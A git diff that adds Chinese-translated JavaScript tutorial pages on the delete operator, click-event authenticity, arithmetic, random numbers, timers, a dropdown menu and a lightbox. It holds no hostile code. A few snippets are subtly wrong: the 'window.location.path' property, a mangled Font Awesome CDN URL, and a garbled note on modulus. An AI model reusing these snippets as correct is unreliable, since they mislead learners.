+++ b/client/src/guide/chinese/javascript/tutorials/delete-properties-from-a-javascript-object/index.md
@@ -0,0 +1,41 @@
+---
+title: Delete Properties from a JavaScript Object
+localeTitle: 从JavaScript对象中删除属性
+---
+我们还可以删除对象中的属性，如下所示：
+```
+delete ourDog.bark; 
+```
+
+**delete运算符**从对象中删除属性。
+
+## 句法
+
+`delete expression`应该求值为属性引用的表达式，例如：
+```
+delete object.property 
+ delete object['property'] 
+```
+
+## 参数
+
+**目的**  
+对象的名称或评估对象的表达式。
+
+**属性**  
+要删除的属性。
+
+## 例
+
+```js
+var person = {name:'Jay', age:'52'}; 
+ delete person['age']; 
+ 
+ console.log(person); //{name:'Jay'} 
+```
+
+## 返回值
+
+如果属性是自己的不可配置属性，则以严格模式抛出（在非严格中返回false）。在所有其他情况下返回true。
+
+[阅读更多](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/detect-authentic-click-events/index.md b/client/src/guide/chinese/javascript/tutorials/detect-authentic-click-events/index.md
new file mode 100644
index 0000000000..6d7707fbd1
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/detect-authentic-click-events/index.md
@@ -0,0 +1,27 @@
+---
+title: Detect authentic click events
+localeTitle: 检测可靠的点击事件
+---
+## 检测可靠的点击事件
+
+可能存在这样的情况：只有当用户真正触发click事件而不是某个脚本来模拟click事件时，才想要执行某些特定事情。
+
+这个问题有一个非常简单的解决方案，javascript事件对象为我们提供了一个`.istrusted`属性，可以用它来区分。
+
+#### 以下是使用此方法的示例
+
+```javascript
+// Assume there is a button in the HTML 
+ const button = document.querySelector('button'); 
+ 
+ button.addEventListener('click', (e) => { 
+  if (e.isTrusted) { 
+    console.log('Button clicked by a real user'); 
+  } else { 
+    console.log('Button click simulated by a script'); 
+  } 
+ }); 
+ 
+ button.click() // Outputs "Button click simulated by a script" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/divide-one-number-by-another-with-javascript/index.md b/client/src/guide/chinese/javascript/tutorials/divide-one-number-by-another-with-javascript/index.md
new file mode 100644
index 0000000000..a39980851d
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/divide-one-number-by-another-with-javascript/index.md
@@ -0,0 +1,9 @@
+---
+title: Divide One Number by Another with JavaScript
+localeTitle: 用JavaScript划分一个号码
+---
+JavaScript使用`/`符号进行划分。
+```
+var quotient = 66 / 33; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/finding-a-remainder-in-javascript/index.md b/client/src/guide/chinese/javascript/tutorials/finding-a-remainder-in-javascript/index.md
new file mode 100644
index 0000000000..9b2bdae81e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/finding-a-remainder-in-javascript/index.md
@@ -0,0 +1,23 @@
+---
+title: Finding a Remainder in JavaScript
+localeTitle: 在JavaScript中查找剩余内容
+---
+_余数运算符_ `%`给出了两个数的除法的余数。
+
+## 例
+```
+5 % 2 = 1 because 
+ Math.floor(5 / 2) = 2 (Quotient) 
+ 2 * 2 = 4 
+ 5 - 4 = 1 (Remainder) 
+```
+
+## 用法
+
+在数学中，通过检查数字除法的余数为2，可以检查偶数或奇数。
+```
+17 % 2 = 1 (17 is Odd) 
+ 48 % 2 = 0 (48 is Even) 
+```
+
+**注意**不要将它与_模数_ `%`混淆，否则与负数不兼容。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/generate-random-fractions-with-javascript/index.md b/client/src/guide/chinese/javascript/tutorials/generate-random-fractions-with-javascript/index.md
new file mode 100644
index 0000000000..82f3561da8
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/generate-random-fractions-with-javascript/index.md
@@ -0,0 +1,5 @@
+---
+title: Generate Random Fractions with JavaScript
+localeTitle: 使用JavaScript生成随机分数
+---
+JavaScript有一个`Math.random()`函数，可生成一个随机十进制数。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/generate-random-whole-numbers-with-javascript/index.md b/client/src/guide/chinese/javascript/tutorials/generate-random-whole-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..77b1e26e77
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/generate-random-whole-numbers-with-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: Generate Random Whole Numbers with JavaScript
+localeTitle: 使用JavaScript生成随机整数
+---
+很高兴我们可以创建随机十进制数，但如果我们生成一个随机整数更有用，它会更有用。
+
+为实现此目的，我们可以将随机数乘以10，并使用`Math.floor()`将十进制数转换为整数
+```
+Math.floor(Math.random()*10) 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/get-current-url-in-javascript/index.md b/client/src/guide/chinese/javascript/tutorials/get-current-url-in-javascript/index.md
new file mode 100644
index 0000000000..f9175468b4
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/get-current-url-in-javascript/index.md
@@ -0,0 +1,15 @@
+---
+title: Get Current Url in JavaScript
+localeTitle: 在JavaScript中获取当前URL
+---
+要获取**当前网址** ：
+```
+var url = window.location.href; 
+```
+
+要获取**当前路径** ：
+```
+var path = window.location.path; 
+```
+
+有关位置对象及其属性的更多信息，请参见[此处](https://developer.mozilla.org/en-US/docs/Web/API/Window/location) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/give-your-javascript-slot-machine-some-stylish-images/index.md b/client/src/guide/chinese/javascript/tutorials/give-your-javascript-slot-machine-some-stylish-images/index.md
new file mode 100644
index 0000000000..539da2f14b
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/give-your-javascript-slot-machine-some-stylish-images/index.md
@@ -0,0 +1,11 @@
+---
+title: Give Your JavaScript Slot Machine Some Stylish Images
+localeTitle: 给你的JavaScript老虎机一些时尚的图像
+---
+我们已经在一个名为images的数组中为你设置了图像。我们可以使用不同的索引来获取每个索引。
+
+以下是我们如何设置第一个插槽以显示不同的图像，具体取决于其随机数生成的数字：
+```
+$($('.slot')[0]).html('<img src = "' + images[slotOne-1] + '">'); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/how-to-create-a-countdown-timer/index.md b/client/src/guide/chinese/javascript/tutorials/how-to-create-a-countdown-timer/index.md
new file mode 100644
index 0000000000..60ca136e08
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/how-to-create-a-countdown-timer/index.md
@@ -0,0 +1,62 @@
+---
+title: How to Create a Countdown Timer
+localeTitle: 如何创建倒数计时器
+---
+## 如何创建倒数计时器
+
+### 创建
+
+首先构建countdownTimer函数。
+
+```javascript
+function startCountdown(seconds){ 
+  var counter = seconds; 
+ 
+  var interval = setInterval(() => { 
+    console.log(counter); 
+    counter--; 
+ 
+ 
+    if(counter < 0 ){ 
+ 
+      // The code here will run when 
+      // the timer has reached zero. 
+ 
+      clearInterval(interval); 
+      console.log('Ding!'); 
+    }; 
+  }, 1000); 
+ }; 
+```
+
+### 执行
+
+现在，为了启动计时器，我们提供了`startCountdown()`其中一个数值作为参数，表示倒计时的秒数。
+
+```javascript
+  startCountdown(10); 
+  // Console Output // 
+  // 10 
+  // 9 
+  // 8 
+  // 7 
+  // 6 
+  // 5 
+  // 4 
+  // 3 
+  // 2 
+  // 1 
+  // 0 
+  // Ding! 
+```
+
+### 实例
+
+[Codepen - 倒数计时器](https://codepen.io/rdev-rocks/pen/jLogxY?editors=0012)
+
+### 更多资源
+
+使用的方法：
+
+*   [的setInterval（）](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval)
+*   [clearInterval（）](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/clearInterval)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/how-to-create-a-dropdown-menu-with-css-and-javascript/index.md b/client/src/guide/chinese/javascript/tutorials/how-to-create-a-dropdown-menu-with-css-and-javascript/index.md
new file mode 100644
index 0000000000..e809e7ac31
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/how-to-create-a-dropdown-menu-with-css-and-javascript/index.md
@@ -0,0 +1,245 @@
+---
+title: How to Create a Dropdown Menu with CSS and JavaScript
+localeTitle: 如何使用CSS和JavaScript创建下拉菜单
+---
+## 如何使用CSS和JavaScript创建下拉菜单
+
+在本教程中，您将学习如何使用vanilla Javascript，HTML和CSS创建一个简单的下拉菜单。我们将介绍HTML，CSS和Javascript代码，但更多地关注编程，因为这是一个JS教程。我们将只使用普通的JS和CSS，没有框架或预处理器。唯一（种类）异常将导入[Font Awesome](https://fontawesome.com/) CSS文件，因为我们将使用其中一个图标。
+
+这是针对平均了解HTML，CSS和JS的开发人员。我试图让它尽可能干净，但我不会过分关注细节。我希望你们都喜欢。
+
+## 截图
+
+这是代码结果的样子：
+
+初始屏幕：
+
+![](https://i.imgur.com/jrnu6mE.png)
+
+下拉开启：
+
+![](https://i.imgur.com/gszPtRa.png)
+
+下拉选项已选中：
+
+![](https://i.imgur.com/TKXxZGF.png)
+
+#### HTML：
+
+在本节中，我们将讨论演示页面的HTML代码的实现。 首先，让我们看一下`<head>`代码
+
+```html
+
+<!DOCTYPE html> 
+ <html lang="en"> 
+ <head> 
+    <meta charset="UTF-8"> 
+    <meta name="viewport" content="width=device-width, initial-scale=1.0"> 
+    <meta http-equiv="X-UA-Compatible" content="ie=edge"> 
+    <title>Dropdown Example</title> 
+ 
+    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/'-awesome/4.7.0/css/font-awesome.min.css"> 
+    <link rel="stylesheet" href="styles.css"> 
+ </head> 
+```
+
+这基本上是HTML头文件样板，除了加载我们将在本教程中使用的两个CSS样式表的`link`标记：Font Awesome样式和`styles.css`文件，我们将在其中定义此页面的样式。
+
+然后，还有HTML文件的其余部分，正文：
+
+```html
+
+<body> 
+    <div class='dropdown'> 
+        <div class='title pointerCursor'>Select an option <i class="fa fa-angle-right"></i></div> 
+ 
+        <div class='menu pointerCursor hide'> 
+            <div class='option' id='option1'>Option 1</div> 
+            <div class='option' id='option2'>Option 2</div> 
+            <div class='option' id='option3'>Option 3</div> 
+            <div class='option' id='option4'>Option 4</div> 
+        </div> 
+ 
+    </div> 
+    <span id='result'>The result is: </span> 
+    <script> 
+      ... 
+    </script> 
+ </body> 
+ </html> 
+```
+
+本节可分为3个主要部分：
+
+*   `.dropdown` div，将定义下拉元素的结构。
+*   `#result`元素，将包含用户选择的选项，来自下拉列表元素。
+*   写入`<script>`标记的`<script>` 。它的实现在这里隐藏，因为它的细节将在本教程的最后一节中解释。
+
+dropdown元素是一个包含`title`和`menu`元素的`div` 。前者只定义在选择任何选项之前将在元素上显示的文本，后者将定义元素可选择的选项。
+
+`result`元素只是为了显示当前选择的选项。
+
+#### 样式：
+
+您可以在下面查看完整的css代码。正如您所看到的，它使用了CSS3 `transition`和`transform`结构。
+
+请注意`.dropdown`类的定义。这些用于定义下拉容器组件及其内部元素的布局，例如`.title`及其`.option` 。
+
+```css
+body{ 
+    font-family: 'Lucida Sans', 'Lucida Sans Regular', 'Lucida Grande', 'Lucida Sans Unicode', Geneva, Verdana, sans-serif; 
+ } 
+ 
+ .hide { 
+    max-height: 0 !important; 
+ } 
+ 
+ .dropdown{ 
+    border: 0.1em solid black; 
+    width: 10em; 
+    margin-bottom: 1em; 
+ } 
+ 
+ .dropdown .title{ 
+    margin: .3em .3em .3em .3em; 
+    width: 100%; 
+ } 
+ 
+ .dropdown .title .fa-angle-right{ 
+    float: right; 
+    margin-right: .7em; 
+    transition: transform .3s; 
+ } 
+ 
+ .dropdown .menu{ 
+    transition: max-height .5s ease-out; 
+    max-height: 20em; 
+    overflow: hidden; 
+ } 
+ 
+ .dropdown .menu .option{ 
+    margin: .3em .3em .3em .3em; 
+    margin-top: 0.3em; 
+ } 
+ 
+ .dropdown .menu .option:hover{ 
+    background: rgba(0,0,0,0.2); 
+ } 
+ 
+ .pointerCursor:hover{ 
+    cursor: pointer; 
+ } 
+ 
+ .rotate-90{ 
+    transform: rotate(90deg); 
+ } 
+```
+
+#### JavaScript的：
+
+现在我们将看到Javascript部分是如何实现的。我们将首先介绍函数定义 然后调用这些函数的代码使下拉动作发生。
+
+基本上，根据用户交互的内容，有3个动作，因为他们的侦听器被添加到DOM元素：
+
+1.  单击下拉元素
+2.  选择其中一个下拉选项
+3.  更改当前选定的选项
+
+我想说明我们使用的是箭头函数（ `() => {}` ）和`const`关键字，它们是ES6的特性。如果你使用的是最新版本的浏览器，那么你可能会很好，但请记住这一点。
+
+#### 1.单击下拉元素
+
+```Javascript
+function toggleClass(elem,className){ 
+    if (elem.className.indexOf(className) !== -1){ 
+        elem.className = elem.className.replace(className,''); 
+    } 
+    else{ 
+        elem.className = elem.className.replace(/\s+/g,' ') +   ' ' + className; 
+    } 
+ 
+    return elem; 
+ } 
+ 
+ function toggleDisplay(elem){ 
+    const curDisplayStyle = elem.style.display; 
+ 
+    if (curDisplayStyle === 'none' || curDisplayStyle === ''){ 
+        elem.style.display = 'block'; 
+    } 
+    else{ 
+        elem.style.display = 'none'; 
+    } 
+ } 
+ 
+ 
+ function toggleMenuDisplay(e){ 
+    const dropdown = e.currentTarget.parentNode; 
+    const menu = dropdown.querySelector('.menu'); 
+    const icon = dropdown.querySelector('.fa-angle-right'); 
+ 
+    toggleClass(menu,'hide'); 
+    toggleClass(icon,'rotate-90'); 
+ } 
+```
+
+单击下拉元素时，它将打开（如果已关闭）或关闭（如果已打开）。这通过将`toggleMenuDisplay`绑定到下拉列表元素上的click事件侦听器来实现。此函数通过使用`toggleDisplay`和`toggleClass`函数切换其`menu`元素的显示。
+
+#### 2.选择其中一个下拉选项
+
+```Javascript
+function handleOptionSelected(e){ 
+    toggleClass(e.target.parentNode, 'hide'); 
+ 
+    const id = e.target.id; 
+    const newValue = e.target.textContent + ' '; 
+    const titleElem = document.querySelector('.dropdown .title'); 
+    const icon = document.querySelector('.dropdown .title .fa'); 
+ 
+ 
+    titleElem.textContent = newValue; 
+    titleElem.appendChild(icon); 
+ 
+    //trigger custom event 
+    document.querySelector('.dropdown .title').dispatchEvent(new Event('change')); 
+    //setTimeout is used so transition is properly shown 
+    setTimeout(() => toggleClass(icon,'rotate-90',0)); 
+ } 
+```
+
+#### 3.更改当前选择的选项
+
+```Javascript
+function handleTitleChange(e){ 
+    const result = document.getElementById('result'); 
+ 
+    result.innerHTML = 'The result is: ' + e.target.textContent; 
+ } 
+```
+
+函数`handleTitleChange`绑定到`.title`元素上的自定义`change`事件，以便在title元素更改时更改`#result`元素内容。此事件的触发在上一节中完成。
+
+#### 主要代码
+
+```Javascript
+//get elements 
+ const dropdownTitle = document.querySelector('.dropdown .title'); 
+ const dropdownOptions = document.querySelectorAll('.dropdown .option'); 
+ 
+ //bind listeners to these elements 
+ dropdownTitle.addEventListener('click', toggleMenuDisplay); 
+ dropdownOptions.forEach(option => option.addEventListener('click',handleOptionSelected)); 
+ document.querySelector('.dropdown .title').addEventListener('change',handleTitleChange); 
+```
+
+在主要部分中，只有一些简单的代码可以获取下拉列表的标题和选项元素，以便将最后一节中讨论的事件绑定到它们。
+
+## 演示
+
+可在[此处](https://codepen.io/GCrispino/pen/EEXmYd)找到此应用程序的完整代码和演示。
+
+## 更多信息
+
+*   [ES6介绍](https://guide.freecodecamp.org/javascript/es6)
+*   [箭头功能](https://guide.freecodecamp.org/javascript/es6/arrow_functions/)
+*   [让和Const](https://guide.freecodecamp.org/javascript/es6/let_and_const/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/how-to-create-a-lightbox/index.md b/client/src/guide/chinese/javascript/tutorials/how-to-create-a-lightbox/index.md
new file mode 100644
index 0000000000..a42d785422
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/how-to-create-a-lightbox/index.md
@@ -0,0 +1,569 @@
+---
+title: How to Create a Lightbox
+localeTitle: 如何创建灯箱
+---
+## 如何创建灯箱
+
+### 介绍
+
+灯箱是两个组件的组合， [模态](https://en.wikipedia.org/wiki/Modal_window)和幻灯片放映。在这里，您将使用`HTML` ， `CSS`和`JavaScript`构建一个简单的灯箱。
+
+灯箱将包含在模式中，该模式将由一些`JavaScript`从`HTML`标记中的[事件处理程序](https://developer.mozilla.org/en-US/docs/Web/Guide/Events/Event_handlers)触发。 您将构建将使用`JavaScript`为状态提供`CSS`和行为的`CSS` 。您还可以在底部找到您使用的方法的参考列表以及与本教程相关的其他有用的tid位。
+
+#### 我们的形象
+
+我们将使用的图像由[Pexels](https://www.pexels.com/)提供， 一个免费的库存照片库，允许您快速，免费地为他们的项目提供高质量的图像，通常没有所需的属性。
+
+#### 只是告诉我代码！
+
+这里有一个实例可以找到[\- CodePen / Lightbox](https://codepen.io/rdev-rocks/pen/KXNzvo)和代码的完整草案接近底部。
+
+### 第1步。标记
+
+标记或`HTML`提供灯箱的结构。
+
+```html
+
+<!-- Here is your access point for your user, a preview of the images you wish to display. 
+     You use the onclick="" event handler to execute the methods you will define in the 
+     JavaScript near the bottom --> 
+ 
+ <div class="row"> 
+  <div class="col"> 
+     <img src="https://static.pexels.com/photos/385997/pexels-photo-385997.jpeg" onclick="openLightbox();toSlide(1)" class="hover-shadow preview" alt="Toy car on the road." /> 
+  </div> 
+  <div class="col"> 
+     <img src="https://static.pexels.com/photos/574521/pexels-photo-574521.jpeg" onclick="openLightbox();toSlide(2)" class="hover-shadow preview" alt="Toy car exploring offroad." /> 
+  </div> 
+  <div class="col"> 
+     <img src="https://static.pexels.com/photos/386009/pexels-photo-386009.jpeg" onclick="openLightbox();toSlide(3)" class="hover-shadow preview" alt="Toy car in the city." /> 
+  </div> 
+ </div> 
+ 
+ <!-- This is your lightbox, it is contained in a modal. Here you provide all the images, 
+     controls, and another set of preview images as the dots. Dots show your user which 
+     image is currently active. Note that you use entities (eg &times;), more info on 
+     them at the bottom. --> 
+ 
+ <div id="Lightbox" class="modal"> 
+  <span class="close pointer" onclick="closeLightbox()">&times;</span> 
+  <div class="modal-content"> 
+    <div class="slide"> 
+        <img src="https://static.pexels.com/photos/385997/pexels-photo-385997.jpeg" class="image-slide" alt="Toy car on the road." /> 
+    </div> 
+    <div class="slide"> 
+        <img src="https://static.pexels.com/photos/574521/pexels-photo-574521.jpeg" class="image-slide" alt="Toy car exploring offroad." /> 
+    </div> 
+    <div class="slide"> 
+        <img src="https://static.pexels.com/photos/386009/pexels-photo-386009.jpeg" class="image-slide" alt="Toy car in the city." /> 
+    </div> 
+ 
+    <a class="previous" onclick="changeSlide(-1)">&#10094;</a> 
+    <a class="next" onclick="changeSlide(1)">&#10095;</a> 
+ 
+    <div class="dots"> 
+      <div class="col"> 
+        <img src="https://static.pexels.com/photos/385997/pexels-photo-385997.jpeg" class="modal-preview hover-shadow" onclick="toSlide(1)" alt="Toy car on the road" /> 
+      </div> 
+      <div class="col"> 
+        <img src="https://static.pexels.com/photos/574521/pexels-photo-574521.jpeg" class="modal-preview hover-shadow" onclick="toSlide(2)" alt="Toy car exploring offroad." /> 
+      </div> 
+      <div class="col"> 
+        <img src="https://static.pexels.com/photos/386009/pexels-photo-386009.jpeg" class="modal-preview hover-shadow" onclick="toSlide(3)" alt="Toy car in the city." /> 
+      </div> 
+    </div> 
+  </div> 
+ </div> 
+```
+
+### 第2步。使用CSS样式
+
+`CSS`为您的灯箱提供不同的状态。可见性，定位和悬停效果等。
+
+您的样式表应如下所示：
+
+```css
+/* Here you provide a best practice's "reset", read more about it at the bottom! :) */ 
+ 
+ html { 
+  box-sizing: border-box; 
+ } 
+ 
+ *, *:before, *:after { 
+  box-sizing: inherit; 
+ } 
+ 
+ body { 
+  margin: 0; 
+ } 
+ 
+ /* You define the style of our previews here, you are using flex to display the images 
+   "responsively". */ 
+ 
+ .preview { 
+  width: 100%; 
+ } 
+ 
+ .row { 
+  display: flex; 
+  flex-direction: row; 
+  justify-content: space-between; 
+ } 
+ 
+ .row > .col { 
+  padding: 0 8px; 
+ } 
+ 
+ .col { 
+  float: left; 
+  width: 25%; 
+ } 
+ 
+ /* Now you want to define what the lightbox will look like. Note that you have the display 
+   as none. You don't want it to show until the user clicks on one of the previews. 
+   You will change this display property with JavaScript below. */ 
+ 
+ .modal { 
+  display: none; 
+  position: fixed; 
+  z-index: 1; 
+  padding: 10px 62px 0px 62px; 
+  left: 0; 
+  top: 0; 
+  width: 100%; 
+  height: 100%; 
+  overflow: auto; 
+  background-color: black; 
+ } 
+ 
+ .modal-content { 
+  position: relative; 
+  display: flex; 
+  flex-direction: column; 
+  justify-content: center; 
+  margin: auto; 
+  padding: 0 0 0 0; 
+  width: 80%; 
+  max-width: 1200px; 
+ } 
+ 
+ /* Same with your slides, you set the display to none, because you want to choose which 
+   one is shown at a time. */ 
+ 
+ .slide { 
+  display: none; 
+ } 
+ 
+ .image-slide { 
+  width: 100%; 
+ } 
+ 
+ .modal-preview { 
+  width: 100%; 
+ } 
+ 
+ .dots { 
+  display: flex; 
+  flex-direction: row; 
+  justify-content: space-between; 
+ } 
+ 
+ /* You want the previews a little transparent to show that they are "inactive". 
+   You then add an .active or :hover class to animate the selections for your user when 
+   they interact with your controls and clickable content. 
+ */ 
+ 
+ img.preview, img.modal-preview { 
+  opacity: 0.6; 
+ } 
+ 
+ img.active, 
+ .preview:hover, 
+ .modal-preview:hover { 
+  opacity: 1; 
+ } 
+ 
+ img.hover-shadow { 
+  transition: 0.3s; 
+ } 
+ 
+ .hover-shadow:hover { 
+  box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19); 
+ } 
+ 
+ .close { 
+  color: white; 
+  position: absolute; 
+  top: 10px; 
+  right: 25px; 
+  font-size: 35px; 
+  font-weight: bold; 
+ } 
+ 
+ .close:hover, 
+ .close:focus { 
+  color: #999; 
+  text-decoration: none; 
+  cursor: pointer; 
+ } 
+ 
+ .previous, 
+ .next { 
+  cursor: pointer; 
+  position: absolute; 
+  top: 50%; 
+  width: auto; 
+  padding: 16px; 
+  margin-top: -50px; 
+  color: white; 
+  font-weight: bold; 
+  font-size: 20px; 
+  transition: 0.6s ease; 
+  border-radius: 0 3px 3px 0; 
+  user-select: none; 
+  -webkit-user-select: none; 
+ } 
+ 
+ .next { 
+  right: 0; 
+  border-radius: 3px 0 0 3px; 
+ } 
+ 
+ .previous:hover, 
+ .next:hover { 
+  background-color: rgba(0, 0, 0, 0.8); 
+ } 
+```
+
+### 第3步.JavaScript
+
+现在去做生意！您的JavaScript应如下所示：
+
+```javascript
+// Initialize here and run showSlide() to give your lightbox a default state. 
+ 
+ let slideIndex = 1; 
+ showSlide(slideIndex); 
+ 
+ // You are providing the functionality for your clickable content, which is 
+ // your previews, dots, controls and the close button. 
+ 
+ function openLightbox() { 
+  document.getElementById('Lightbox').style.display = 'block'; 
+ } 
+ 
+ function closeLightbox() { 
+  document.getElementById('Lightbox').style.display = 'none'; 
+ }; 
+ 
+ // Note that you are assigning new values here to our slidIndex. 
+ 
+ function changeSlide(n) { 
+  showSlide(slideIndex += n); 
+ }; 
+ 
+ function toSlide(n) { 
+  showSlide(slideIndex = n); 
+ }; 
+ 
+ // This is your logic for the light box. It will decide which slide to show 
+ // and which dot is active. 
+ 
+ function showSlide(n) { 
+  const slides = document.getElementsByClassName('slide'); 
+  let modalPreviews = document.getElementsByClassName('modal-preview'); 
+ 
+  if (n > slides.length) { 
+    slideIndex = 1; 
+  }; 
+ 
+  if (n < 1) { 
+    slideIndex = slides.length; 
+  }; 
+ 
+  for (let i = 0; i < slides.length; i++) { 
+    slides[i].style.display = "none"; 
+  }; 
+ 
+  for (let i = 0; i < modalPreviews.length; i++) { 
+    modalPreviews[i].className = modalPreviews[i].className.replace(' active', ''); 
+  }; 
+ 
+  slides[slideIndex - 1].style.display = 'block'; 
+  modalPreviews[slideIndex - 1].className += ' active'; 
+ }; 
+```
+
+这就是它！现在将所有代码放在一起。你现在应该有一个功能性的灯箱。
+
+### 所有守则
+
+```html
+
+<body> 
+  <style> 
+    html { 
+      box-sizing: border-box; 
+    } 
+ 
+    *, *:before, *:after { 
+      box-sizing: inherit; 
+    } 
+ 
+    body { 
+      margin: 0; 
+    } 
+ 
+    .preview { 
+      width: 100%; 
+    } 
+ 
+    .row { 
+      display: flex; 
+      flex-direction: row; 
+      justify-content: space-between; 
+    } 
+ 
+    .row > .col { 
+      padding: 0 8px; 
+    } 
+ 
+    .col { 
+      float: left; 
+      width: 25%; 
+    } 
+ 
+    .modal { 
+      display: none; 
+      position: fixed; 
+      z-index: 1; 
+      padding: 10px 62px 0px 62px; 
+      left: 0; 
+      top: 0; 
+      width: 100%; 
+      height: 100%; 
+      overflow: auto; 
+      background-color: black; 
+    } 
+ 
+    .modal-content { 
+      position: relative; 
+      display: flex; 
+      flex-direction: column; 
+      justify-content: center; 
+      margin: auto; 
+      padding: 0 0 0 0; 
+      width: 80%; 
+      max-width: 1200px; 
+    } 
+ 
+    .slide { 
+      display: none; 
+    } 
+ 
+    .image-slide { 
+        width: 100%; 
+    } 
+ 
+    .modal-preview { 
+        width: 100%; 
+    } 
+ 
+    .dots { 
+        display: flex; 
+        flex-direction: row; 
+        justify-content: space-between; 
+    } 
+ 
+    img.preview, img.modal-preview { 
+      opacity: 0.6; 
+    } 
+ 
+    img.active, 
+    .preview:hover, 
+    .modal-preview:hover { 
+      opacity: 1; 
+    } 
+ 
+    img.hover-shadow { 
+      transition: 0.3s; 
+    } 
+ 
+    .hover-shadow:hover { 
+      box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19); 
+    } 
+ 
+    .close { 
+      color: white; 
+      position: absolute; 
+      top: 10px; 
+      right: 25px; 
+      font-size: 35px; 
+      font-weight: bold; 
+    } 
+ 
+    .close:hover, 
+    .close:focus { 
+      color: #999; 
+      text-decoration: none; 
+      cursor: pointer; 
+    } 
+ 
+    .previous, 
+    .next { 
+      cursor: pointer; 
+      position: absolute; 
+      top: 50%; 
+      width: auto; 
+      padding: 16px; 
+      margin-top: -50px; 
+      color: white; 
+      font-weight: bold; 
+      font-size: 20px; 
+      transition: 0.6s ease; 
+      border-radius: 0 3px 3px 0; 
+      user-select: none; 
+      -webkit-user-select: none; 
+    } 
+ 
+    .next { 
+      right: 0; 
+      border-radius: 3px 0 0 3px; 
+    } 
+ 
+    .previous:hover, 
+    .next:hover { 
+      background-color: rgba(0, 0, 0, 0.8); 
+    } 
+  </style> 
+  <div class="row"> 
+    <div class="col"> 
+       <img src="https://static.pexels.com/photos/385997/pexels-photo-385997.jpeg" onclick="openLightbox();toSlide(1)" class="hover-shadow preview" alt="Toy car on the road." /> 
+    </div> 
+    <div class="col"> 
+       <img src="https://static.pexels.com/photos/574521/pexels-photo-574521.jpeg" onclick="openLightbox();toSlide(2)" class="hover-shadow preview" alt="Toy car exploring offroad." /> 
+    </div> 
+    <div class="col"> 
+       <img src="https://static.pexels.com/photos/386009/pexels-photo-386009.jpeg" onclick="openLightbox();toSlide(3)" class="hover-shadow preview" alt="Toy car in the city" /> 
+    </div> 
+  </div> 
+ 
+  <div id="Lightbox" class="modal"> 
+ 
+    <span class="close pointer" onclick="closeLightbox()">&times;</span> 
+    <div class="modal-content"> 
+      <div class="slide"> 
+        <img src="https://static.pexels.com/photos/385997/pexels-photo-385997.jpeg" class="image-slide" alt="Toy car on the road." /> 
+      </div> 
+      <div class="slide"> 
+        <img src="https://static.pexels.com/photos/574521/pexels-photo-574521.jpeg" class="image-slide" alt="Toy car exploring offroad." /> 
+      </div> 
+      <div class="slide"> 
+        <img src="https://static.pexels.com/photos/386009/pexels-photo-386009.jpeg" class="image-slide" alt="Toy car in the city." /> 
+      </div> 
+ 
+      <a class="previous" onclick="changeSlide(-1)">&#10094;</a> 
+      <a class="next" onclick="changeSlide(1)">&#10095;</a> 
+ 
+      <div class="dots"> 
+        <div class="col"> 
+          <img src="https://static.pexels.com/photos/385997/pexels-photo-385997.jpeg" class="modal-preview hover-shadow" onclick="toSlide(1)" alt="Toy car on the road." /> 
+        </div> 
+        <div class="col"> 
+          <img src="https://static.pexels.com/photos/574521/pexels-photo-574521.jpeg" class="modal-preview hover-shadow" onclick="toSlide(2)" alt="Toy car exploring offroad." /> 
+        </div> 
+        <div class="col"> 
+          <img src="https://static.pexels.com/photos/386009/pexels-photo-386009.jpeg" class="modal-preview hover-shadow" onclick="toSlide(3)" alt="Toy car in the city" /> 
+        </div> 
+      </div> 
+    </div> 
+  </div> 
+ 
+  <script> 
+    let slideIndex = 1; 
+    showSlide(slideIndex); 
+ 
+    function openLightbox() { 
+      document.getElementById('Lightbox').style.display = 'block'; 
+    }; 
+ 
+    function closeLightbox() { 
+      document.getElementById('Lightbox').style.display = 'none'; 
+    }; 
+ 
+    function changeSlide(n) { 
+      showSlide(slideIndex += n); 
+    }; 
+ 
+    function toSlide(n) { 
+      showSlide(slideIndex = n); 
+    }; 
+ 
+    function showSlide(n) { 
+      const slides = document.getElementsByClassName('slide'); 
+      let modalPreviews = document.getElementsByClassName('modal-preview'); 
+ 
+      if (n > slides.length) { 
+        slideIndex = 1; 
+      }; 
+ 
+      if (n < 1) { 
+        slideIndex = slides.length; 
+      }; 
+ 
+      for (let i = 0; i < slides.length; i++) { 
+        slides[i].style.display = "none"; 
+      }; 
+ 
+      for (let i = 0; i < modalPreviews.length; i++) { 
+        modalPreviews[i].className = modalPreviews[i].className.replace(' active', ''); 
+      }; 
+ 
+      slides[slideIndex - 1].style.display = 'block'; 
+      modalPreviews[slideIndex - 1].className += ' active'; 
+    }; 
+  </script> 
+ </body> 
+```
+
